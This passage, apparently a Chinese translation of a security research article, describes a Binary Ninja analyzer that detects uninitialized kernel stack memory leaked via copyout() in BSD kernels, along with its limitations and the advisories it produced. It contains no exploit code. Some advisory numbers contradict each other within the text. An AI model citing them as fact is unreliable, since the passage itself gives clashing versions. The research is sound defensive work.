同理，當A為函數入口節點，E和F為出口節點，則節點B為節點A的後dominator。這是因為從A到出口節點的所有路徑都必須經過B。

那麼，dominator和後dominator如何幫助我們進行分析呢？

我們可以對sink函數的調用者執行dominator分析。其思想是只記錄基本塊中的內存存儲，這些基本塊支配調用copyout()的基本塊，也就是說，將執行與分支決策無關的基本塊，代碼如下：

11.png

調用copyout()的基本塊的dominator

調用copyout()的基本塊是

在跨函數(inter-procedure)分析期間，對被調用函數進行後dominator分析。它的目的是在初始化它應該返回的內存區域之前，找到被調用者可能返回的漏洞。被調用者函數do_sys_waitid()如下所示：

12.png

do_sys_waitid()中函數輸入塊的後dominator

函數入口塊基於dominator和後dominator的分析試圖填補分析器執行的支配流不敏感分析中的空白。其假設是，在執行進一步的操作之前，內存被初始化或清除，因此支配其他基本塊。然而，這種假設並不總是正確的。例如，在某些情況下，單個代碼路徑可以執行與支配器中相同的操作。此外，當被調用者由於任何錯誤條件返回時，調用者可以在調用copyout()之前驗證返回值。因此，在此情況下基於dominator的分析容易出現大量誤報。

檢查未初始化的內存洩露一旦所有的內存存儲操作都被靜態地記錄了關於寫的偏移量和大小的信息，就可以使用copyout()對複製到用戶空間的內存區域進行評估，以進行未初始化的內存公開。 copyout()調用是這樣的：源指針為0x398，複製的大小為0x330字節。因此，分析器必須驗證內存範圍從-0x398到(-0x398 +0x330)的所有字節是否都已初始化，如果沒有，則將其標記為錯誤。

誤報和限制編寫分析器的目的是查找在任何可能的代碼路徑中從未寫入過的內存區域。如果無法跟踪內存存儲操作，則會出現誤報。以下是一些常見的誤報情況和限制情況：

1.分析儀不模擬分支指令。因此，在涉及支配流決策的代碼構造中會出現誤報。考慮一個內存區域，例如在循環操作中初始化的數組。在這種情況下，存儲操作將只檢測一次，因為分析器只訪問循環體一次，而不是像執行期間那樣在循環中訪問。

2.間接調用不會被靜態解析，因此，在間接調用期間執行的任何內存存儲都不會被跟踪。

3.優化可能會使跟踪內存存儲更加困難。在“處理x86 REP優化”和“處理指針對齊優化”部分中處理了一些常見的優化。

4.Binary Ninja可能會錯誤地檢測用於靜態掛鉤或copyout()等接收器函數的類型信息。由於我們的分析依賴於RegisterValueType信息，任何未能準確檢測函數原型的情況都可能導致錯誤的結果。在分析和更新之前驗證類型信息。

5.分析器僅查找內存源函數和sink函數位於同一函數中的代碼模式。在本地函數範圍之外，沒有對內存源的跟踪。

6.dominator分析是實驗性的。你應該僅將其用作執行代碼審查的指導原則。

當可以訪問源代碼時，可以通過更改優化標誌或展開循環來減少分支決策，從而解決其中一些誤報。

分析結果在Binary Ninja中加載目標內核可執行文件，生成BNDB分析數據庫。然後用分析器對數據庫進行分析，以便進行更快的分析。有兩個腳本：一個用於分析堆棧內存洩漏，另一個用於分析具有已知大小和未知源指針的sink函數。因為源指針可以來自堆分配器，所以提供一個帶有分配器函數列表的JSON配置作為參數。 dominator分析是實驗性的。需要時，請使用可選參數啟用它。

總結這些腳本在Binary Ninja版本2.4.2846上針對FreeBSD 11.4、NetBSD 9.2和OpenBSD 6.9內核進行了測試。在結果中，評估了非特權用戶可能訪問的代碼路徑。 OpenBSD漏洞在與IPv4和IPv6組播路由相關的系統中被發現，分別被命名為ZDI-22-073和ZDI-22-012。

在NetBSD中發現的4個漏洞（ZDI-22-075、ZDI-22-1036、ZDI22-1037和ZDI-21-1067）與支持舊版NetBSD向後兼容的系統調用有關的ZDI-22-2075和ZDI22-11036分別是NetBSD 3.0和NetBSD 5.0的VFS系統調用中的信息洩露。另外，ZDI-22-1037是NetBSD 4.3的getkerneinfo系統調用中的一個信息洩漏。目前，此漏洞已修復，但還存在許多其他潛在問題。

在版本11.4中發現的FreeBSD漏洞也與兼容性有關，在本例中，兼容性用於支持32位二進製文件。然而，在對64位inode進行較大更改期間，該漏洞被修復，但沒有被公開。作為64位inode項目的一部分，在copy_stat函數中清除了未初始化的結構字段。雖然此承諾是在2017年5月，但它被標記為12.0及以上版本。因此，該漏洞在11.4版中一直未被修復，直到2021年9月才被處理。

總而言之，大多數漏洞都是在BSD的兼容層中發現的。此外，所有這些漏洞都是堆棧內存洩漏。